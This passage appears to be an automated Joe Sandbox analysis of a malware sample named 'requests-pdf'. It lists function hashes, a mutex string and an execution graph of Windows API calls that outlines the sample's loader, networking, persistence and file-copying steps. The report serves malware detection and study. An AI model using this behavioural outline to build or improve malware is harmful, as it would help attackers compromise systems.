                                                    • Instruction ID: b0763ea1deadee2bc936761deeca5982e9e417a088f184164cf2e6670f364b74
                                                    • Opcode Fuzzy Hash: 37dabd9028f0cede140cc98497e4e15f557d68d096268be44a89a64eb946223e
                                                    • Instruction Fuzzy Hash: B1E01270200304BAEF108F61EC06F9B37ACEB40B89F004165F902E5191D3B1D904AA54
                                                    Function 024DC13E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateMutexA.KERNEL32(00000000,00000001,00000000,024DDC11,0000000D,00000033,00000000,00000032,00000000,0046662C,00000000,0000000E,00000000,0046556C,00000003,00000000), ref: 024DC14D
                                                    • GetLastError.KERNEL32 ref: 024DC158
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateErrorLastMutex
                                                    • String ID: Rmc-I7G983
                                                    • API String ID: 1925916568-3173645232
                                                    • Opcode ID: defc0333e3605ddb085507e8cb5f1de2847b42d11ba618549d06c615cf8541f0
                                                    • Instruction ID: 3d8ed636c01eb83fdbf96e5dcc1e061df8eb80709d0b51323770cb308cf38e02
                                                    • Opcode Fuzzy Hash: defc0333e3605ddb085507e8cb5f1de2847b42d11ba618549d06c615cf8541f0
                                                    • Instruction Fuzzy Hash: F8D012707483019BD7281B747C997693555F784703F40407AB60FC55D1CF6488409D15
                                                    Function 0043FA5E Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401AD8), ref: 0043FAF4
                                                    • GetLastError.KERNEL32 ref: 0043FB02
                                                    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0043FB5D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharMultiWide$ErrorLast
                                                    • String ID:
                                                    • API String ID: 1717984340-0
                                                    • Opcode ID: 3f0ff04a5dcf7e8fd5b137fcdb20dceab511bd439b95d46b3d550210e9ecb368
                                                    • Instruction ID: ecac45699e256c48587d6f27f66036641a8fb520bb473c9b2adecd150689d728
                                                    • Opcode Fuzzy Hash: 3f0ff04a5dcf7e8fd5b137fcdb20dceab511bd439b95d46b3d550210e9ecb368
                                                    • Instruction Fuzzy Hash: 65414871E00206AFCF258F65C854ABBFBA4EF09310F1451BAF858973A1DB38AD09C759
                                                    Function 0250FCC5 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,024D1D3F), ref: 0250FD5B
                                                    • GetLastError.KERNEL32 ref: 0250FD69
                                                    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0250FDC4
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharMultiWide$ErrorLast
                                                    • String ID:
                                                    • API String ID: 1717984340-0
                                                    • Opcode ID: 51d5f03fba1b172d5651f1593246994e43d26d1415dc77cb91aa80c4233d165d
                                                    • Instruction ID: c1474ea2a6eac0bf1ad31d936195ec03838189df41597a109283c6c2cdd1ba60
                                                    • Opcode Fuzzy Hash: 51d5f03fba1b172d5651f1593246994e43d26d1415dc77cb91aa80c4233d165d
                                                    • Instruction Fuzzy Hash: 1541C131604206AFDB719F64CCC8BAE7BA5FF41324F1441A9F8599B6E1EF308901CB58

                                                    Execution Graph

                                                    Execution Coverage:2.4%
                                                    Dynamic/Decrypted Code Coverage:2%
                                                    Signature Coverage:0%
                                                    Total number of Nodes:1372
                                                    Total number of Limit Nodes:69
                                                    execution_graph 87419 41d4d0 87421 41d4e6 ctype ___scrt_fastfail 87419->87421 87420 41d6e3 87425 41d734 87420->87425 87435 41d071 RtlDeleteCriticalSection RtlEnterCriticalSection RtlLeaveCriticalSection ___scrt_fastfail 87420->87435 87421->87420 87423 431f99 21 API calls 87421->87423 87428 41d696 ___scrt_fastfail 87423->87428 87424 41d6f4 87424->87425 87426 41d760 87424->87426 87436 431f99 87424->87436 87426->87425 87444 41d474 21 API calls ___scrt_fastfail 87426->87444 87428->87425 87429 431f99 21 API calls 87428->87429 87433 41d6be ___scrt_fastfail 87429->87433 87431 41d72d ___scrt_fastfail 87431->87425 87441 43264f 87431->87441 87433->87425 87434 431f99 21 API calls 87433->87434 87434->87420 87435->87424 87437 431fa3 87436->87437 87438 431fa7 87436->87438 87437->87431 87445 43a88c 87438->87445 87454 43256f 87441->87454 87443 432657 87443->87426 87444->87425 87451 446aff _strftime 87445->87451 87446 446b3d 87453 445354 20 API calls _abort 87446->87453 87448 446b28 RtlAllocateHeap 87449 431fac 87448->87449 87448->87451 87449->87431 87451->87446 87451->87448 87452 442200 7 API calls 2 library calls 87451->87452 87452->87451 87453->87449 87455 432588 87454->87455 87459 43257e 87454->87459 87456 431f99 21 API calls 87455->87456 87455->87459 87457 4325a9 87456->87457 87457->87459 87460 43293a CryptAcquireContextA 87457->87460 87459->87443 87461 432956 87460->87461 87462 43295b CryptGenRandom 87460->87462 87461->87459 87462->87461 87463 432970 CryptReleaseContext 87462->87463 87463->87461 87464 426030 87469 4260f7 recv 87464->87469 87470 24f003c 87471 24f0049 87470->87471 87485 24f0e0f SetErrorMode SetErrorMode 87471->87485 87476 24f0265 87477 24f02ce VirtualProtect 87476->87477 87479 24f030b 87477->87479 87478 24f0439 VirtualFree 87483 24f05f4 LoadLibraryA 87478->87483 87484 24f04be 87478->87484 87479->87478 87480 24f04e3 LoadLibraryA 87480->87484 87482 24f08c7 87483->87482 87484->87480 87484->87483 87486 24f0223 87485->87486 87487 24f0d90 87486->87487 87488 24f0dad 87487->87488 87489 24f0dbb GetPEB 87488->87489 87490 24f0238 VirtualAlloc 87488->87490 87489->87490 87490->87476 87491 426091 87496 42610e send 87491->87496 87497 425e56 87498 425e6b 87497->87498 87501 425f0b 87497->87501 87499 425f25 87498->87499 87500 425f5a 87498->87500 87498->87501 87502 425eb9 87498->87502 87503 425f77 87498->87503 87504 425f9e 87498->87504 87511 425eee 87498->87511 87525 424354 48 API calls ctype 87498->87525 87499->87500 87499->87501 87528 41f075 52 API calls 87499->87528 87500->87503 87529 424b7b 21 API calls 87500->87529 87502->87501 87502->87511 87526 41f075 52 API calls 87502->87526 87503->87501 87503->87504 87513 424f78 87503->87513 87504->87501 87530 4255c7 28 API calls 87504->87530 87511->87499 87511->87501 87527 424354 48 API calls ctype 87511->87527 87514 424f97 ___scrt_fastfail 87513->87514 87517 424fa6 87514->87517 87522 424fcb 87514->87522 87531 41e097 21 API calls 87514->87531 87515 424fab 87520 424fb4 87515->87520 87515->87522 87533 41cf6e 48 API calls 87515->87533 87517->87515 87517->87522 87532 41fad4 45 API calls 87517->87532 87520->87522 87534 424185 21 API calls 2 library calls 87520->87534 87522->87504 87523 42504e 87523->87522 87524 431f99 21 API calls 87523->87524 87524->87515 87525->87502 87526->87502 87527->87499 87528->87499 87529->87503 87530->87501 87531->87517 87532->87523 87533->87520 87534->87522 87535 ab8fee 87536 ab8ffd 87535->87536 87539 ab978e 87536->87539 87540 ab97a9 87539->87540 87541 ab97b2 CreateToolhelp32Snapshot 87540->87541 87542 ab97ce Module32First 87540->87542 87541->87540 87541->87542 87543 ab97dd 87542->87543 87544 ab9006 87542->87544 87546 ab944d 87543->87546 87547 ab9478 87546->87547 87548 ab9489 VirtualAlloc 87547->87548 87549 ab94c1 87547->87549 87548->87549 87550 4429fc 87551 442a05 87550->87551 87556 442a1e 87550->87556 87552 442a0d 87551->87552 87557 442a84 87551->87557 87554 442a15 87554->87552 87568 442d51 22 API calls 2 library calls 87554->87568 87558 442a90 87557->87558 87559 442a8d 87557->87559 87569 44e1be GetEnvironmentStringsW 87558->87569 87559->87554 87562 442a9d 87564 446ac5 _free 20 API calls 87562->87564 87565 442ad2 87564->87565 87565->87554 87566 442aa8 87577 446ac5 87566->87577 87568->87556 87570 44e1d2 87569->87570 87571 442a97 87569->87571 87583 446aff 87570->87583 87571->87562 87576 442ba9 26 API calls 4 library calls 87571->87576 87573 44e1e6 ctype 87574 446ac5 _free 20 API calls 87573->87574 87575 44e200 FreeEnvironmentStringsW 87574->87575 87575->87571 87576->87566 87578 446ad0 RtlFreeHeap 87577->87578 87579 446af9 _free 87577->87579 87578->87579 87580 446ae5 87578->87580 87579->87562 87592 445354 20 API calls _abort 87580->87592 87582 446aeb GetLastError 87582->87579 87584 446b3d 87583->87584 87588 446b0d _strftime 87583->87588 87591 445354 20 API calls _abort 87584->87591 87586 446b28 RtlAllocateHeap 87587 446b3b 87586->87587 87586->87588 87587->87573 87588->87584 87588->87586 87590 442200 7 API calls 2 library calls 87588->87590 87590->87588 87591->87587 87592->87582 87593 43a998 87596 43a9a4 _swprintf BuildCatchObjectHelperInternal 87593->87596 87594 43a9b2 87609 445354 20 API calls _abort 87594->87609 87596->87594 87597 43a9dc 87596->87597 87604 444acc RtlEnterCriticalSection 87597->87604 87599 43a9b7 __cftoe __wsopen_s 87600 43a9e7 87605 43aa88 87600->87605 87604->87600 87607 43aa96 87605->87607 87606 43a9f2 87610 43aa0f RtlLeaveCriticalSection std::_Lockit::~_Lockit 87606->87610 87607->87606 87611 448416 36 API calls 2 library calls 87607->87611 87609->87599 87610->87599 87611->87607 87612 414dba 87627 41a51b 87612->87627 87614 414dc3 87637 401fbd 87614->87637 87618 414dde 87619 4161f2 87618->87619 87642 401eea 87618->87642 87646 401d8c 87619->87646 87622 4161fb 87623 401eea 11 API calls 87622->87623 87624 416207 87623->87624 87625 401eea 11 API calls 87624->87625 87626 416213 87625->87626 87628 41a529 87627->87628 87629 43a88c ___std_exception_copy 21 API calls 87628->87629 87630 41a533 InternetOpenW InternetOpenUrlW 87629->87630 87631 41a55c InternetReadFile 87630->87631 87635 41a57f 87631->87635 87632 41a5ac InternetCloseHandle InternetCloseHandle 87634 41a5be 87632->87634 87634->87614 87635->87631 87635->87632 87636 401eea 11 API calls 87635->87636 87652 401f86 87635->87652 87636->87635 87638 401fcc 87637->87638 87661 402501 87638->87661 87640 401fea 87641 404468 61 API calls ctype 87640->87641 87641->87618 87644 4021b9 87642->87644 87643 4021e8 87643->87619 87644->87643 87666 40262e 11 API calls _Deallocate 87644->87666 87648 40200a 87646->87648 87647 40203a 87647->87622 87648->87647 87667 402654 11 API calls 87648->87667 87650 40202b 87668 4026ba 11 API calls _Deallocate 87650->87668 87653 401f8e 87652->87653 87656 402325 87653->87656 87655 401fa4 87655->87635 87657 40232f 87656->87657 87659 40233a 87657->87659 87660 40294a 28 API calls 87657->87660 87659->87655 87660->87659 87662 40250d 87661->87662 87664 40252b 87662->87664 87665 40261a 28 API calls 87662->87665 87664->87640 87665->87664 87666->87643 87667->87650 87668->87647 87669 42ea1e 87670 42ea29 87669->87670 87671 42ea3d 87670->87671 87673 431fc3 87670->87673 87674 431fd2 87673->87674 87675 431fce 87673->87675 87677 43fcda 87674->87677 87675->87671 87678 44b9be 87677->87678 87679 44b9d6 87678->87679 87680 44b9cb 87678->87680 87682 44b9de 87679->87682 87688 44b9e7 _strftime 87679->87688 87681 446aff _strftime 21 API calls 87680->87681 87686 44b9d3 87681->87686 87683 446ac5 _free 20 API calls 87682->87683 87683->87686 87684 44ba11 RtlReAllocateHeap 87684->87686 87684->87688 87685 44b9ec 87690 445354 20 API calls _abort 87685->87690 87686->87675 87688->87684 87688->87685 87691 442200 7 API calls 2 library calls 87688->87691 87690->87686 87691->87688 87692 402bcc 87693 402bd7 87692->87693 87694 402bdf 87692->87694 87710 403315 28 API calls _Deallocate 87693->87710 87696 402beb 87694->87696 87700 4015d3 87694->87700 87697 402bdd 87701 43360d 87700->87701 87702 43a88c ___std_exception_copy 21 API calls 87701->87702 87703 402be9 87701->87703 87706 43362e std::_Facet_Register 87701->87706 87711 442200 7 API calls 2 library calls 87701->87711 87702->87701 87705 433dec std::_Facet_Register 87713 437bd7 RaiseException 87705->87713 87706->87705 87712 437bd7 RaiseException 87706->87712 87709 433e09 87710->87697 87711->87701 87712->87705 87713->87709 87714 4339be 87715 4339ca BuildCatchObjectHelperInternal 87714->87715 87746 4336b3 87715->87746 87717 4339d1 87718 433b24 87717->87718 87722 4339fb 87717->87722 88044 433b44 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 87718->88044 87720 433b2b 88045 4426be 28 API calls _abort 87720->88045 87734 433a3a ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 87722->87734 88038 4434d1 5 API calls __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 87722->88038 87723 433b31 88046 442670 28 API calls _abort 87723->88046 87726 433a14 87728 433a1a 87726->87728 88039 443475 5 API calls __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 87726->88039 87727 433b39 87730 433a9b 87757 433c5e 87730->87757 87734->87730 88040 43edf4 35 API calls 3 library calls 87734->88040 87740 433abd 87740->87720 87741 433ac1 87740->87741 87742 433aca 87741->87742 88042 442661 28 API calls _abort 87741->88042 88043 433842 13 API calls 2 library calls 87742->88043 87745 433ad2 87745->87728 87747 4336bc 87746->87747 88047 433e0a IsProcessorFeaturePresent 87747->88047 87749 4336c8 88048 4379ee 10 API calls 3 library calls 87749->88048 87751 4336cd 87752 4336d1 87751->87752 88049 44335e IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 87751->88049 87752->87717 87754 4336da 87755 4336e8 87754->87755 88050 437a17 8 API calls 3 library calls 87754->88050 87755->87717 88051 436050 87757->88051 87760 433aa1 87761 443422 87760->87761 88053 44ddc9 87761->88053 87763 433aaa 87766 40d767 87763->87766 87765 44342b 87765->87763 88057 44e0d3 35 API calls 87765->88057 88059 41bce3 LoadLibraryA GetProcAddress 87766->88059 87768 40d783 GetModuleFileNameW 88064 40e168 87768->88064 87770 40d79f 87771 401fbd 28 API calls 87770->87771 87772 40d7ae 87771->87772 87773 401fbd 28 API calls 87772->87773 87774 40d7bd 87773->87774 88079 41afc3 87774->88079 87778 40d7cf 87779 401d8c 11 API calls 87778->87779 87780 40d7d8 87779->87780 87781 40d835 87780->87781 87782 40d7eb 87780->87782 88104 401d64 87781->88104 88484 40e986 111 API calls 87782->88484 87785 40d845 87788 401d64 28 API calls 87785->87788 87786 40d7fd 87787 401d64 28 API calls 87786->87787 87790 40d809 87787->87790 87789 40d864 87788->87789 88109 404cbf 87789->88109 88485 40e937 65 API calls 87790->88485 87792 40d873 88113 405ce6 87792->88113 87795 40d87f 88116 401eef 87795->88116 87796 40d824 88486 40e155 65 API calls 87796->88486 87799 40d88b 87800 401eea 11 API calls 87799->87800 87801 40d894 87800->87801 87803 401eea 11 API calls 87801->87803 87802 401eea 11 API calls 87804 40dc9f 87802->87804 87805 40d89d 87803->87805 88041 433c94 GetModuleHandleW 87804->88041 87806 401d64 28 API calls 87805->87806 87807 40d8a6 87806->87807 88120 401ebd 87807->88120 87809 40d8b1 87810 401d64 28 API calls 87809->87810 87811 40d8ca 87810->87811 87812 401d64 28 API calls 87811->87812 87814 40d8e5 87812->87814 87813 40d946 87815 401d64 28 API calls 87813->87815 87830 40e134 87813->87830 87814->87813 88487 4085b4 87814->88487 87821 40d95d 87815->87821 87817 40d912 87818 401eef 11 API calls 87817->87818 87819 40d91e 87818->87819 87822 401eea 11 API calls 87819->87822 87820 40d9a4 88124 40bed7 87820->88124 87821->87820 87827 4124b7 3 API calls 87821->87827 87824 40d927 87822->87824 88491 4124b7 RegOpenKeyExA 87824->88491 87825 40d9aa 87826 40d82d 87825->87826 88127 41a463 87825->88127 87826->87802 87832 40d988 87827->87832 88511 412902 30 API calls 87830->88511 87831 40d9c5 87833 40da18 87831->87833 88144 40697b 87831->88144 87832->87820 88494 412902 30 API calls 87832->88494 87836 401d64 28 API calls 87833->87836 87838 40da21 87836->87838 87847 40da32 87838->87847 87848 40da2d 87838->87848 87840 40e14a 88512 4112b5 64 API calls ___scrt_fastfail 87840->88512 87841 40d9e4 88495 40699d 30 API calls 87841->88495 87842 40d9ee 87846 401d64 28 API calls 87842->87846 87855 40d9f7 87846->87855 87852 401d64 28 API calls 87847->87852 88498 4069ba CreateProcessA CloseHandle CloseHandle ___scrt_fastfail 87848->88498 87849 40d9e9 88496 4064d0 97 API calls 87849->88496 87853 40da3b 87852->87853 88148 41ae08 87853->88148 87855->87833 87858 40da13 87855->87858 87856 40da46 88152 401e18 87856->88152 88497 4064d0 97 API calls 87858->88497 87859 40da51 88156 401e13 87859->88156 87862 40da5a 87863 401d64 28 API calls 87862->87863 87864 40da63 87863->87864 87865 401d64 28 API calls 87864->87865 87866 40da7d 87865->87866 87867 401d64 28 API calls 87866->87867 87868 40da97 87867->87868 87869 401d64 28 API calls 87868->87869 87871 40dab0 87869->87871 87870 40db1d 87872 40db2c 87870->87872 87878 40dcaa ___scrt_fastfail 87870->87878 87871->87870 87873 401d64 28 API calls 87871->87873 87874 401d64 28 API calls 87872->87874 87901 40dbac ___scrt_fastfail 87872->87901 87876 40dac5 _wcslen 87873->87876 87875 40db3e 87874->87875 87877 401d64 28 API calls 87875->87877 87876->87870 87879 401d64 28 API calls 87876->87879 87880 40db50 87877->87880 88500 41265d RegOpenKeyExA 87878->88500 87881 40dae0 87879->87881 87883 401d64 28 API calls 87880->87883 87885 401d64 28 API calls 87881->87885 87884 40db62 87883->87884 87888 401d64 28 API calls 87884->87888 87886 40daf5 87885->87886 88160 40c89e 87886->88160 87887 40dcef 87889 401d64 28 API calls 87887->87889 87890 40db8b 87888->87890 87891 40dd16 87889->87891 87896 401d64 28 API calls 87890->87896 88296 401f66 87891->88296 87894 401e18 11 API calls 87895 40db14 87894->87895 87898 401e13 11 API calls 87895->87898 87899 40db9c 87896->87899 87898->87870 88217 40bc67 87899->88217 87900 40dd25 88300 4126d2 RegCreateKeyA 87900->88300 88286 4128a2 87901->88286 87906 40dc45 ctype 87909 401d64 28 API calls 87906->87909 87907 401d64 28 API calls 87908 40dd47 87907->87908 88306 43a5e7 87908->88306 87910 40dc5c 87909->87910 87910->87887 87914 40dc70 87910->87914 87913 40dd5e 88503 41beb0 87 API calls ___scrt_fastfail 87913->88503 87916 401d64 28 API calls 87914->87916 87915 40dd81 87921 401f66 28 API calls 87915->87921 87918 40dc7e 87916->87918 87919 41ae08 28 API calls 87918->87919 87923 40dc87 87919->87923 87920 40dd65 CreateThread 87920->87915 89104 41c96f 10 API calls 87920->89104 87922 40dd96 87921->87922 87924 401f66 28 API calls 87922->87924 88499 40e219 112 API calls 87923->88499 87926 40dda5 87924->87926 88310 41a686 87926->88310 87927 40dc8c 87927->87887 87929 40dc93 87927->87929 87929->87826 87931 401d64 28 API calls 87932 40ddb6 87931->87932 87933 401d64 28 API calls 87932->87933 87934 40ddcb 87933->87934 87935 401d64 28 API calls 87934->87935 87936 40ddeb 87935->87936 87937 43a5e7 _strftime 39 API calls 87936->87937 87938 40ddf8 87937->87938 87939 401d64 28 API calls 87938->87939 87940 40de03 87939->87940 87941 401d64 28 API calls 87940->87941 87942 40de14 87941->87942 87943 401d64 28 API calls 87942->87943 87944 40de29 87943->87944 87945 401d64 28 API calls 87944->87945 87946 40de3a 87945->87946 87947 40de41 StrToIntA 87946->87947 88334 409517 87947->88334 87950 401d64 28 API calls 87951 40de5c 87950->87951 87952 40dea1 87951->87952 87953 40de68 87951->87953 87955 401d64 28 API calls 87952->87955 88504 43360d 22 API calls 3 library calls 87953->88504 87957 40deb1 87955->87957 87956 40de71 87958 401d64 28 API calls 87956->87958 87960 40def9 87957->87960 87961 40debd 87957->87961 87959 40de84 87958->87959 87962 40de8b CreateThread 87959->87962 87964 401d64 28 API calls 87960->87964 88505 43360d 22 API calls 3 library calls 87961->88505 87962->87952 89106 419128 109 API calls 2 library calls 87962->89106 87966 40df02 87964->87966 87965 40dec6 87967 401d64 28 API calls 87965->87967 87969 40df6c 87966->87969 87970 40df0e 87966->87970 87968 40ded8 87967->87968 87973 40dedf CreateThread 87968->87973 87971 401d64 28 API calls 87969->87971 87972 401d64 28 API calls 87970->87972 87974 40df75 87971->87974 87975 40df1e 87972->87975 87973->87960 89105 419128 109 API calls 2 library calls 87973->89105 87976 40df81 87974->87976 87977 40dfba 87974->87977 87978 401d64 28 API calls 87975->87978 87980 401d64 28 API calls 87976->87980 88359 41a7a2 GetComputerNameExW GetUserNameW 87977->88359 87981 40df33 87978->87981 87983 40df8a 87980->87983 88506 40c854 32 API calls 87981->88506 87988 401d64 28 API calls 87983->87988 87984 401e18 11 API calls 87985 40dfce 87984->87985 87987 401e13 11 API calls 87985->87987 87990 40dfd7 87987->87990 87991 40df9f 87988->87991 87989 40df46 87992 401e18 11 API calls 87989->87992 87993 40dfe0 SetProcessDEPPolicy 87990->87993 87994 40dfe3 CreateThread 87990->87994 88002 43a5e7 _strftime 39 API calls 87991->88002 87995 40df52 87992->87995 87993->87994 87996 40e004 87994->87996 87997 40dff8 CreateThread 87994->87997 89076 40e54f 87994->89076 87998 401e13 11 API calls 87995->87998 88000 40e019 87996->88000 88001 40e00d CreateThread 87996->88001 87997->87996 89107 410f36 139 API calls 87997->89107 87999 40df5b CreateThread 87998->87999 87999->87969 89108 40196b 49 API calls _strftime 87999->89108 88004 40e073 88000->88004 88006 401f66 28 API calls 88000->88006 88001->88000 89103 411524 38 API calls ___scrt_fastfail 88001->89103 88003 40dfac 88002->88003 88507 40b95c 7 API calls 88003->88507 88370 41246e RegOpenKeyExA 88004->88370 88007 40e046 88006->88007 88508 404c9e 28 API calls 88007->88508 88011 40e053 88013 401f66 28 API calls 88011->88013 88012 40e12a 88382 40cbac 88012->88382 88015 40e062 88013->88015 88014 41ae08 28 API calls 88017 40e0a4 88014->88017 88018 41a686 79 API calls 88015->88018 88373 412584 RegOpenKeyExW 88017->88373 88020 40e067 88018->88020 88022 401eea 11 API calls 88020->88022 88022->88004 88025 401e13 11 API calls 88028 40e0c5 88025->88028 88026 40e0ed DeleteFileW 88027 40e0f4 88026->88027 88026->88028 88029 41ae08 28 API calls 88027->88029 88028->88026 88028->88027 88030 40e0db Sleep 88028->88030 88031 40e104 88029->88031 88509 401e07 88030->88509 88378 41297a RegOpenKeyExW 88031->88378 88034 40e117 88035 401e13 11 API calls 88034->88035 88036 40e121 88035->88036 88037 401e13 11 API calls 88036->88037 88037->88012 88038->87726 88039->87734 88040->87730 88041->87740 88042->87742 88043->87745 88044->87720 88045->87723 88046->87727 88047->87749 88048->87751 88049->87754 88050->87752 88052 433c71 GetStartupInfoW 88051->88052 88052->87760 88054 44dddb 88053->88054 88055 44ddd2 88053->88055 88054->87765 88058 44dcc8 48 API calls 4 library calls 88055->88058 88057->87765 88058->88054 88060 41bd22 LoadLibraryA GetProcAddress 88059->88060 88061 41bd12 GetModuleHandleA GetProcAddress 88059->88061 88062 41bd4b 32 API calls 88060->88062 88063 41bd3b LoadLibraryA GetProcAddress 88060->88063 88061->88060 88062->87768 88063->88062 88513 41a63f FindResourceA 88064->88513 88067 43a88c ___std_exception_copy 21 API calls 88068 40e192 ctype 88067->88068 88069 401f86 28 API calls 88068->88069 88070 40e1ad 88069->88070 88071 401eef 11 API calls 88070->88071 88072 40e1b8 88071->88072 88073 401eea 11 API calls 88072->88073 88074 40e1c1 88073->88074 88075 43a88c ___std_exception_copy 21 API calls 88074->88075 88076 40e1d2 ctype 88075->88076 88516 406052 88076->88516 88078 40e205 88078->87770 88099 41afd6 88079->88099 88080 41b046 88081 401eea 11 API calls 88080->88081 88082 41b078 88081->88082 88084 401eea 11 API calls 88082->88084 88083 41b048 88086 403b60 28 API calls 88083->88086 88085 41b080 88084->88085 88088 401eea 11 API calls 88085->88088 88089 41b054 88086->88089 88090 40d7c6 88088->88090 88091 401eef 11 API calls 88089->88091 88100 40e8bd 88090->88100 88093 41b05d 88091->88093 88092 401eef 11 API calls 88092->88099 88094 401eea 11 API calls 88093->88094 88096 41b065 88094->88096 88095 401eea 11 API calls 88095->88099 88523 41bfa9 28 API calls 88096->88523 88099->88080 88099->88083 88099->88092 88099->88095 88519 403b60 88099->88519 88522 41bfa9 28 API calls 88099->88522 88101 40e8ca 88100->88101 88103 40e8da 88101->88103 88540 40200a 11 API calls 88101->88540 88103->87778 88105 401d6c 88104->88105 88106 401d74 88105->88106 88541 401fff 28 API calls 88105->88541 88106->87785 88108 401d8b 88110 404ccb 88109->88110 88542 402e78 88110->88542 88112 404cee 88112->87792 88551 404bc4 88113->88551 88115 405cf4 88115->87795 88117 401efe 88116->88117 88119 401f0a 88117->88119 88560 4021b9 11 API calls 88117->88560 88119->87799 88122 401ec9 88120->88122 88121 401ee4 88121->87809 88122->88121 88123 402325 28 API calls 88122->88123 88123->88121 88561 401e8f 88124->88561 88126 40bee1 CreateMutexA GetLastError 88126->87825 88563 41b15b 88127->88563 88129 41a471 88567 412513 RegOpenKeyExA 88129->88567 88132 401eef 11 API calls 88133 41a49f 88132->88133 88134 401eea 11 API calls 88133->88134 88135 41a4a7 88134->88135 88136 412513 31 API calls 88135->88136 88137 41a4fa 88135->88137 88138 41a4cd 88136->88138 88137->87831 88139 41a4d8 StrToIntA 88138->88139 88140 41a4ef 88139->88140 88141 41a4e6 88139->88141 88143 401eea 11 API calls 88140->88143 88572 41c102 22 API calls 88141->88572 88143->88137 88145 40698f 88144->88145 88146 4124b7 3 API calls 88145->88146 88147 406996 88146->88147 88147->87841 88147->87842 88149 41ae1c 88148->88149 88573 40b027 88149->88573 88151 41ae24 88151->87856 88153 401e27 88152->88153 88155 401e33 88153->88155 88582 402121 11 API calls 88153->88582 88155->87859 88157 402121 88156->88157 88158 402150 88157->88158 88583 402718 11 API calls _Deallocate 88157->88583 88158->87862 88161 40c8ba 88160->88161 88162 40c8da 88161->88162 88163 40c90f 88161->88163 88167 40c8d0 88161->88167 88588 41a74b 29 API calls 88162->88588 88166 41b15b 2 API calls 88163->88166 88165 40ca03 GetLongPathNameW 88584 403b40 88165->88584 88170 40c914 88166->88170 88167->88165 88168 40c8e3 88171 401e18 11 API calls 88168->88171 88173 40c918 88170->88173 88174 40c96a 88170->88174 88212 40c8ed 88171->88212 88175 403b40 28 API calls 88173->88175 88177 403b40 28 API calls 88174->88177 88179 40c926 88175->88179 88176 403b40 28 API calls 88180 40ca27 88176->88180 88178 40c978 88177->88178 88185 403b40 28 API calls 88178->88185 88186 403b40 28 API calls 88179->88186 88591 40cc37 28 API calls 88180->88591 88181 401e13 11 API calls 88181->88167 88183 40ca3a 88592 402860 28 API calls 88183->88592 88188 40c98e 88185->88188 88189 40c93c 88186->88189 88187 40ca45 88593 402860 28 API calls 88187->88593 88590 402860 28 API calls 88188->88590 88589 402860 28 API calls 88189->88589 88193 40ca4f 88196 401e13 11 API calls 88193->88196 88194 40c999 88197 401e18 11 API calls 88194->88197 88195 40c947 88198 401e18 11 API calls 88195->88198 88199 40ca59 88196->88199 88200 40c9a4 88197->88200 88201 40c952 88198->88201 88202 401e13 11 API calls 88199->88202 88203 401e13 11 API calls 88200->88203 88204 401e13 11 API calls 88201->88204 88205 40ca62 88202->88205 88206 40c9ad 88203->88206 88207 40c95b 88204->88207 88208 401e13 11 API calls 88205->88208 88209 401e13 11 API calls 88206->88209 88210 401e13 11 API calls 88207->88210 88211 40ca6b 88208->88211 88209->88212 88210->88212 88213 401e13 11 API calls 88211->88213 88212->88181 88214 40ca74 88213->88214 88215 401e13 11 API calls 88214->88215 88216 40ca7d 88215->88216 88216->87894 88218 40bc7a _wcslen 88217->88218 88219 40bc84 88218->88219 88220 40bcce 88218->88220 88223 40bc8d CreateDirectoryW 88219->88223 88221 40c89e 32 API calls 88220->88221 88222 40bce0 88221->88222 88224 401e18 11 API calls 88222->88224 88603 40856b 88223->88603 88233 40bccc 88224->88233 88226 40bca9 88633 4028cf 88226->88633 88227 401e13 11 API calls 88234 40bcf7 88227->88234 88229 40bcb5 88230 401e18 11 API calls 88229->88230 88231 40bcc3 88230->88231 88232 401e13 11 API calls 88231->88232 88232->88233 88233->88227 88235 40bd10 88234->88235 88236 40bd2d 88234->88236 88607 40bb7b 88235->88607 88237 40bd36 CopyFileW 88236->88237 88238 40be07 88237->88238 88241 40bd48 _wcslen 88237->88241 88242 40bb7b 31 API calls 88238->88242 88240 40bd21 88240->87901 88241->88238 88243 40bd64 88241->88243 88244 40bdb7 88241->88244 88245 40be18 